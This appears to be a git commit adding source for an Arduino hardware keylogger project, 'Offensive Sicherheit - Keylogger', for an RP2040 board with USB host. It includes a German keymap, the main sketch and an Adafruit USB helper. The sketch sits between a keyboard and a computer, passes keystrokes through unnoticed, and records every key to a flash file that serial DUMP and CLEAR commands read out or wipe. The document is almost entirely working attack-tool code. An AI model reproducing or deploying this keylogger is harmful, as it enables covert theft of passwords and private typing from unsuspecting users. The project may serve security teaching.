first commit
This commit is contained in:
@@ -0,0 +1,143 @@
|
||||
/* This file contains a Keymap for German Layout and yep i did it mostly by hand bcs ai could just not do it*/
|
||||
|
||||
// Missing Key may be adding in future
|
||||
// #'
|
||||
// <>
|
||||
// STRG
|
||||
// FN
|
||||
// MENU
|
||||
|
||||
const char* keycodeToAscii(uint8_t keycode, bool shift, bool altGr) {
|
||||
|
||||
if (altGr) {
|
||||
switch (keycode) {
|
||||
case 0x14: return "@";
|
||||
case 0x1E: return "¹";
|
||||
case 0x1F: return "²";
|
||||
case 0x20: return "³";
|
||||
case 0x21: return "¼";
|
||||
case 0x22: return "½";
|
||||
case 0x23: return "¬";
|
||||
case 0x24: return "{";
|
||||
case 0x25: return "[";
|
||||
case 0x26: return "]";
|
||||
case 0x27: return "}";
|
||||
case 0x2D: return "\\";
|
||||
case 0x2E: return "~";
|
||||
case 0x2F: return "[";
|
||||
case 0x30: return "~";
|
||||
case 0x31: return "|";
|
||||
case 0x35: return "|";
|
||||
case 0x08: return "€";
|
||||
|
||||
default: break;
|
||||
}
|
||||
}
|
||||
|
||||
switch (keycode) {
|
||||
|
||||
case 0x04: return shift ? "A" : "a";
|
||||
case 0x05: return shift ? "B" : "b";
|
||||
case 0x06: return shift ? "C" : "c";
|
||||
case 0x07: return shift ? "D" : "d";
|
||||
case 0x08: return shift ? "E" : "e";
|
||||
case 0x09: return shift ? "F" : "f";
|
||||
case 0x0A: return shift ? "G" : "g";
|
||||
case 0x0B: return shift ? "H" : "h";
|
||||
case 0x0C: return shift ? "I" : "i";
|
||||
case 0x0D: return shift ? "J" : "j";
|
||||
case 0x0E: return shift ? "K" : "k";
|
||||
case 0x0F: return shift ? "L" : "l";
|
||||
case 0x10: return shift ? "M" : "m";
|
||||
case 0x11: return shift ? "N" : "n";
|
||||
case 0x12: return shift ? "O" : "o";
|
||||
case 0x13: return shift ? "P" : "p";
|
||||
case 0x14: return shift ? "Q" : "q";
|
||||
case 0x15: return shift ? "R" : "r";
|
||||
case 0x16: return shift ? "S" : "s";
|
||||
case 0x17: return shift ? "T" : "t";
|
||||
case 0x18: return shift ? "U" : "u";
|
||||
case 0x19: return shift ? "V" : "v";
|
||||
case 0x1A: return shift ? "W" : "w";
|
||||
case 0x1B: return shift ? "X" : "x";
|
||||
case 0x1C: return shift ? "Z" : "z";
|
||||
case 0x1D: return shift ? "Y" : "y";
|
||||
|
||||
case 0x1E: return shift ? "!" : "1";
|
||||
case 0x1F: return shift ? "\"" : "2";
|
||||
case 0x20: return shift ? "§" : "3";
|
||||
case 0x21: return shift ? "$" : "4";
|
||||
case 0x22: return shift ? "%" : "5";
|
||||
case 0x23: return shift ? "&" : "6";
|
||||
case 0x24: return shift ? "/" : "7";
|
||||
case 0x25: return shift ? "(" : "8";
|
||||
case 0x26: return shift ? ")" : "9";
|
||||
case 0x27: return shift ? "=" : "0";
|
||||
case 0x2D: return shift ? "?" : "ß";
|
||||
case 0x2E: return shift ? "`" : "´";
|
||||
case 0x2F: return shift ? "Ü" : "ü";
|
||||
case 0x30: return shift ? "*" : "+";
|
||||
case 0x31: return shift ? "'" : "#";
|
||||
case 0x33: return shift ? "Ö" : "ö";
|
||||
|
||||
case 0x28: return "[ENTER]";
|
||||
case 0x29: return "[ESC]";
|
||||
case 0x2A: return "[BACKSPACE]";
|
||||
case 0x2B: return "[TAB]";
|
||||
case 0x2C: return "[SPACE]";
|
||||
|
||||
case 0x34: return shift ? "Ä" : "ä";
|
||||
case 0x35: return shift ? "°" : "^";
|
||||
case 0x36: return shift ? ";" : ",";
|
||||
case 0x37: return shift ? ":" : ".";
|
||||
case 0x38: return shift ? "_" : "-";
|
||||
|
||||
case 0x3A: return "[F1]";
|
||||
case 0x3B: return "[F2]";
|
||||
case 0x3C: return "[F3]";
|
||||
case 0x3D: return "[F4]";
|
||||
case 0x3E: return "[F5]";
|
||||
case 0x3F: return "[F6]";
|
||||
case 0x40: return "[F7]";
|
||||
case 0x41: return "[F8]";
|
||||
case 0x42: return "[F9]";
|
||||
case 0x43: return "[F10]";
|
||||
case 0x44: return "[F11]";
|
||||
case 0x45: return "[F12]";
|
||||
|
||||
case 0x39: return "[CAPS_LOCK]";
|
||||
case 0x46: return "[DRUCK]";
|
||||
case 0x47: return "[SCROLL_LOCK]";
|
||||
case 0x48: return "[PAUSE]";
|
||||
|
||||
case 0x49: return "[INSERT]";
|
||||
case 0x4A: return "[HOME]";
|
||||
case 0x4B: return "[PAGE_UP]";
|
||||
case 0x4C: return "[DELETE]";
|
||||
case 0x4D: return "[END]";
|
||||
case 0x4E: return "[PAGE_DOWN]";
|
||||
case 0x4F: return "[RIGHT]";
|
||||
case 0x50: return "[LEFT]";
|
||||
case 0x51: return "[DOWN]";
|
||||
case 0x52: return "[UP]";
|
||||
|
||||
case 0x59: return "1";
|
||||
case 0x5A: return "2";
|
||||
case 0x5B: return "3";
|
||||
case 0x5C: return "4";
|
||||
case 0x5D: return "5";
|
||||
case 0x5E: return "6";
|
||||
case 0x5F: return "7";
|
||||
case 0x60: return "8";
|
||||
case 0x61: return "9";
|
||||
case 0x62: return "0";
|
||||
case 0x63: return ",";
|
||||
case 0x57: return "*";
|
||||
case 0x58: return "+";
|
||||
case 0x65: return "-";
|
||||
case 0x66: return "/";
|
||||
case 0x67: return "[ENTER]";
|
||||
|
||||
default: return nullptr;
|
||||
}
|
||||
}
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
/******************************************************************************
|
||||
* Project : Offensive Sicherheit - Keylogger
|
||||
* File : <keylogger.ino>
|
||||
*
|
||||
* Description :
|
||||
* ---------------------------------------------------------------------------
|
||||
* This Project contains an implementation for a Adafruit RP2040 Feather with USB HOST to turn it into a Keylogger.
|
||||
*
|
||||
* Author : David Heunisch
|
||||
* Created : 18.05.26
|
||||
* Last Updated : 30.05.26
|
||||
* Version : <1.0.0>
|
||||
*
|
||||
* Dependencies :
|
||||
* - usbh_helper.h
|
||||
* - usbh_helper.h
|
||||
* - LittleFS.h
|
||||
* - string.h
|
||||
*
|
||||
* Usage :
|
||||
* ---------------------------------------------------------------------------
|
||||
* Using Arduino IDE v2 it can be uploaded to an RP2040 with USB Host. Once installed MitM the Keyboard and start typing.
|
||||
* The serial Commands: DUMP / CLEAR can be used to read and clear the file!
|
||||
*
|
||||
* Notes :
|
||||
* ---------------------------------------------------------------------------
|
||||
* Important Settings for Arduino IDE
|
||||
* - Board Manager: Raspberry Pi Pico/PR2040/RP2350 by Earle F. Philhower, III (5.6.0)
|
||||
* - Libs: Adafruit Neopixel (1.15.5) | Adafruit SPI Flash (5.1.1) | Adafruit TinyUSB Library (3.7.7) | MIDI Library (3.7.7) | PICO PIO USB (0.7.2) | SdFAT - Adafruit Fork (2.3.103)
|
||||
* - Port: js do it right
|
||||
* - CPU Speed: 120Hz / 240Hz or some other by 12 div number
|
||||
* - Flash Size: give Little FS some space i did 3MB
|
||||
* - USB Stack: Adafruit TinyUSB
|
||||
*
|
||||
* License :
|
||||
* ---------------------------------------------------------------------------
|
||||
* MIT License
|
||||
*
|
||||
* Copyright (c) 2026 David Heunisch
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
******************************************************************************/
|
||||
|
||||
#include "usbh_helper.h"
|
||||
#include "key_map.h"
|
||||
#include <LittleFS.h>
|
||||
#include <string.h>
|
||||
|
||||
#if defined(ARDUINO_ARCH_RP2040)
|
||||
#include "pico/stdlib.h"
|
||||
#endif
|
||||
|
||||
uint8_t const desc_hid_report[] = {
|
||||
TUD_HID_REPORT_DESC_KEYBOARD()
|
||||
};
|
||||
|
||||
Adafruit_USBD_HID usb_hid(desc_hid_report, sizeof(desc_hid_report),
|
||||
HID_ITF_PROTOCOL_KEYBOARD, 2, false);
|
||||
|
||||
bool fs_ok = false;
|
||||
char serial_buf[32];
|
||||
uint8_t serial_pos = 0;
|
||||
|
||||
// RAM buffer for keystrokes before writing to flash
|
||||
char key_buffer[256];
|
||||
uint16_t key_buf_pos = 0;
|
||||
const uint16_t BUFFER_SIZE = 256;
|
||||
|
||||
uint8_t prev_keys[6] = {0, 0, 0, 0, 0, 0};
|
||||
|
||||
void flushBufferToFile() {
|
||||
if (!fs_ok || key_buf_pos == 0) return;
|
||||
|
||||
File f = LittleFS.open("/keylog.txt", "a");
|
||||
if (!f) {
|
||||
key_buf_pos = 0;
|
||||
return;
|
||||
}
|
||||
f.write((uint8_t*)key_buffer, key_buf_pos);
|
||||
f.close();
|
||||
key_buf_pos = 0;
|
||||
}
|
||||
|
||||
void appendLog(const char* s) {
|
||||
if (!fs_ok) return;
|
||||
|
||||
// Add key to RAM buffer
|
||||
while (key_buf_pos < BUFFER_SIZE - 1) {
|
||||
key_buffer[key_buf_pos++] = *s++;
|
||||
if (*s == 0) break; // end of string
|
||||
}
|
||||
|
||||
// Flush if buffer is nearly full
|
||||
if (key_buf_pos >= BUFFER_SIZE - 10) {
|
||||
flushBufferToFile();
|
||||
}
|
||||
}
|
||||
|
||||
void dumpLog() {
|
||||
flushBufferToFile(); // Make sure buffer is written first
|
||||
if (!fs_ok) {
|
||||
Serial.println("LittleFS not mounted");
|
||||
return;
|
||||
}
|
||||
File f = LittleFS.open("/keylog.txt", "r");
|
||||
if (!f) {
|
||||
Serial.println("Cannot open /keylog.txt");
|
||||
return;
|
||||
}
|
||||
Serial.println("=== Key Log Start ===");
|
||||
while (f.available()) {
|
||||
Serial.write(f.read());
|
||||
}
|
||||
Serial.println();
|
||||
Serial.println("=== End of Log ===");
|
||||
f.close();
|
||||
}
|
||||
|
||||
void handleSerial() {
|
||||
while (Serial.available()) {
|
||||
char c = Serial.read();
|
||||
if (c == '\r' || c == '\n') {
|
||||
serial_buf[serial_pos] = 0;
|
||||
if (serial_pos > 0) {
|
||||
if (!strcmp(serial_buf, "DUMP")) {
|
||||
dumpLog();
|
||||
} else if (!strcmp(serial_buf, "CLEAR")) {
|
||||
flushBufferToFile();
|
||||
if (fs_ok) {
|
||||
LittleFS.remove("/keylog.txt");
|
||||
File f = LittleFS.open("/keylog.txt", "w");
|
||||
if (f) {
|
||||
f.println("Key log started");
|
||||
f.close();
|
||||
}
|
||||
Serial.println("Log cleared");
|
||||
}
|
||||
} else {
|
||||
Serial.println("Commands: DUMP, CLEAR");
|
||||
}
|
||||
}
|
||||
serial_pos = 0;
|
||||
} else if (serial_pos < sizeof(serial_buf) - 1) {
|
||||
serial_buf[serial_pos++] = c;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void forwardAndLog(hid_keyboard_report_t const* rpt) {
|
||||
bool shift = (rpt->modifier & (KEYBOARD_MODIFIER_LEFTSHIFT | KEYBOARD_MODIFIER_RIGHTSHIFT)) != 0;
|
||||
bool altGr = (rpt->modifier & KEYBOARD_MODIFIER_RIGHTALT) != 0;
|
||||
|
||||
for (uint8_t i = 0; i < 6; i++) {
|
||||
uint8_t kc = rpt->keycode[i];
|
||||
if (!kc) continue;
|
||||
|
||||
|
||||
bool already_pressed = false;
|
||||
for (uint8_t j = 0; j < 6; j++) {
|
||||
if (prev_keys[j] == kc) {
|
||||
already_pressed = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (already_pressed) continue;
|
||||
|
||||
const char* s = keycodeToAscii(kc, shift, altGr);
|
||||
if (s) {
|
||||
|
||||
/*Debug Stuff*/
|
||||
// Serial.print("Key: ");
|
||||
// Serial.print(s);
|
||||
// Serial.print(" (0x");
|
||||
// if (kc < 0x10) Serial.print('0');
|
||||
// Serial.print(kc, HEX);
|
||||
// Serial.println(")");
|
||||
|
||||
appendLog(s);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
for (uint8_t i = 0; i < 6; i++) {
|
||||
prev_keys[i] = rpt->keycode[i];
|
||||
}
|
||||
|
||||
|
||||
while (!usb_hid.ready()) {
|
||||
yield();
|
||||
}
|
||||
usb_hid.sendReport(0, rpt, sizeof(hid_keyboard_report_t));
|
||||
}
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(200);
|
||||
|
||||
memset(prev_keys, 0, 6);
|
||||
memset(key_buffer, 0, BUFFER_SIZE);
|
||||
|
||||
fs_ok = LittleFS.begin();
|
||||
if (!fs_ok) {
|
||||
Serial.println("LittleFS mount failed");
|
||||
} else {
|
||||
if (!LittleFS.exists("/keylog.txt")) {
|
||||
File f = LittleFS.open("/keylog.txt", "w");
|
||||
if (f) {
|
||||
f.println("--- START OF LOG ---");
|
||||
f.close();
|
||||
}
|
||||
}
|
||||
Serial.println("LittleFS mounted");
|
||||
}
|
||||
|
||||
usb_hid.begin();
|
||||
|
||||
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
|
||||
USBHost.begin(1);
|
||||
#endif
|
||||
|
||||
Serial.println("Ready. Type DUMP or CLEAR in Serial Monitor.");
|
||||
}
|
||||
|
||||
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
|
||||
void loop() {
|
||||
USBHost.task();
|
||||
handleSerial();
|
||||
// Flush buffer every 2 seconds if not full
|
||||
static unsigned long last_flush = 0;
|
||||
if (millis() - last_flush > 2000) {
|
||||
flushBufferToFile();
|
||||
last_flush = millis();
|
||||
}
|
||||
}
|
||||
#elif defined(ARDUINO_ARCH_RP2040)
|
||||
void loop() {
|
||||
handleSerial();
|
||||
static unsigned long last_flush = 0;
|
||||
if (millis() - last_flush > 2000) {
|
||||
flushBufferToFile();
|
||||
last_flush = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void setup1() {
|
||||
rp2040_configure_pio_usb();
|
||||
USBHost.begin(1);
|
||||
}
|
||||
|
||||
void loop1() {
|
||||
USBHost.task();
|
||||
}
|
||||
#endif
|
||||
|
||||
extern "C" {
|
||||
|
||||
void tuh_hid_mount_cb(uint8_t dev_addr, uint8_t instance,
|
||||
uint8_t const *desc_report, uint16_t desc_len) {
|
||||
(void)desc_report;
|
||||
(void)desc_len;
|
||||
|
||||
uint16_t vid, pid;
|
||||
tuh_vid_pid_get(dev_addr, &vid, &pid);
|
||||
|
||||
Serial.printf("HID device address = %d, instance = %d mounted\r\n", dev_addr, instance);
|
||||
Serial.printf("VID = %04x, PID = %04x\r\n", vid, pid);
|
||||
|
||||
if (tuh_hid_interface_protocol(dev_addr, instance) == HID_ITF_PROTOCOL_KEYBOARD) {
|
||||
Serial.println("HID Keyboard");
|
||||
if (!tuh_hid_receive_report(dev_addr, instance)) {
|
||||
Serial.println("Error: cannot request first report");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void tuh_hid_umount_cb(uint8_t dev_addr, uint8_t instance) {
|
||||
Serial.printf("HID device address = %d, instance = %d unmounted\r\n", dev_addr, instance);
|
||||
}
|
||||
|
||||
void tuh_hid_report_received_cb(uint8_t dev_addr, uint8_t instance,
|
||||
uint8_t const *report, uint16_t len) {
|
||||
if (len == sizeof(hid_keyboard_report_t)) {
|
||||
forwardAndLog((hid_keyboard_report_t const*)report);
|
||||
} else {
|
||||
Serial.printf("report len = %u, expected %u\r\n", len, (unsigned)sizeof(hid_keyboard_report_t));
|
||||
}
|
||||
|
||||
if (!tuh_hid_receive_report(dev_addr, instance)) {
|
||||
Serial.println("Error: cannot request next report");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
/*********************************************************************
|
||||
Adafruit invests time and resources providing this open source code,
|
||||
please support Adafruit and open-source hardware by purchasing
|
||||
products from Adafruit!
|
||||
|
||||
MIT license, check LICENSE for more information
|
||||
Copyright (c) 2019 Ha Thach for Adafruit Industries
|
||||
All text above, and the splash screen below must be included in
|
||||
any redistribution
|
||||
*********************************************************************/
|
||||
|
||||
#ifndef USBH_HELPER_H
|
||||
#define USBH_HELPER_H
|
||||
|
||||
#ifdef ARDUINO_ARCH_RP2040
|
||||
// pio-usb is required for rp2040 host
|
||||
#include "pio_usb.h"
|
||||
|
||||
// Pin D+ for host, D- = D+ + 1
|
||||
#ifndef PIN_USB_HOST_DP
|
||||
#define PIN_USB_HOST_DP 16
|
||||
#endif
|
||||
|
||||
// Pin for enabling Host VBUS. comment out if not used
|
||||
#ifndef PIN_5V_EN
|
||||
#define PIN_5V_EN 18
|
||||
#endif
|
||||
|
||||
#ifndef PIN_5V_EN_STATE
|
||||
#define PIN_5V_EN_STATE 1
|
||||
#endif
|
||||
#endif // ARDUINO_ARCH_RP2040
|
||||
|
||||
#include "Adafruit_TinyUSB.h"
|
||||
|
||||
#if defined(CFG_TUH_MAX3421) && CFG_TUH_MAX3421
|
||||
// USB Host using MAX3421E: SPI, CS, INT
|
||||
#include "SPI.h"
|
||||
|
||||
#if defined(ARDUINO_METRO_ESP32S2)
|
||||
Adafruit_USBH_Host USBHost(&SPI, 15, 14);
|
||||
#elif defined(ARDUINO_ADAFRUIT_FEATHER_ESP32_V2)
|
||||
Adafruit_USBH_Host USBHost(&SPI, 33, 15);
|
||||
#else
|
||||
// Default CS and INT are pin 10, 9
|
||||
Adafruit_USBH_Host USBHost(&SPI, 10, 9);
|
||||
#endif
|
||||
#else
|
||||
// Native USB Host such as rp2040
|
||||
Adafruit_USBH_Host USBHost;
|
||||
#endif
|
||||
|
||||
//--------------------------------------------------------------------+
|
||||
// Helper Functions
|
||||
//--------------------------------------------------------------------+
|
||||
|
||||
#ifdef ARDUINO_ARCH_RP2040
|
||||
static void rp2040_configure_pio_usb(void) {
|
||||
//while ( !Serial ) delay(10); // wait for native usb
|
||||
Serial.println("Core1 setup to run TinyUSB host with pio-usb");
|
||||
|
||||
// Check for CPU frequency, must be multiple of 12 Mhz for bit-banging USB
|
||||
uint32_t cpu_hz = clock_get_hz(clk_sys);
|
||||
if (cpu_hz % 12000000UL) {
|
||||
while (!Serial) {
|
||||
delay(10); // wait for native usb
|
||||
}
|
||||
Serial.printf("Error: CPU Clock = %lu, PIO USB require CPU clock must be multiple of 12 Mhz\r\n", cpu_hz);
|
||||
Serial.printf("Change your CPU Clock to 12*n Mhz in Menu->CPU Speed \r\n");
|
||||
while (1) {
|
||||
delay(1);
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef PIN_5V_EN
|
||||
pinMode(PIN_5V_EN, OUTPUT);
|
||||
digitalWrite(PIN_5V_EN, PIN_5V_EN_STATE);
|
||||
#endif
|
||||
|
||||
pio_usb_configuration_t pio_cfg = PIO_USB_DEFAULT_CONFIG;
|
||||
pio_cfg.pin_dp = PIN_USB_HOST_DP;
|
||||
|
||||
#if defined(ARDUINO_RASPBERRY_PI_PICO_W)
|
||||
// For pico-w, PIO is also used to communicate with cyw43
|
||||
// Therefore we need to alternate the pio-usb configuration
|
||||
// details https://github.com/sekigon-gonnoc/Pico-PIO-USB/issues/46
|
||||
pio_cfg.sm_tx = 3;
|
||||
pio_cfg.sm_rx = 2;
|
||||
pio_cfg.sm_eop = 3;
|
||||
pio_cfg.pio_rx_num = 0;
|
||||
pio_cfg.pio_tx_num = 1;
|
||||
pio_cfg.tx_ch = 9;
|
||||
#endif
|
||||
|
||||
USBHost.configure_pio_usb(1, &pio_cfg);
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user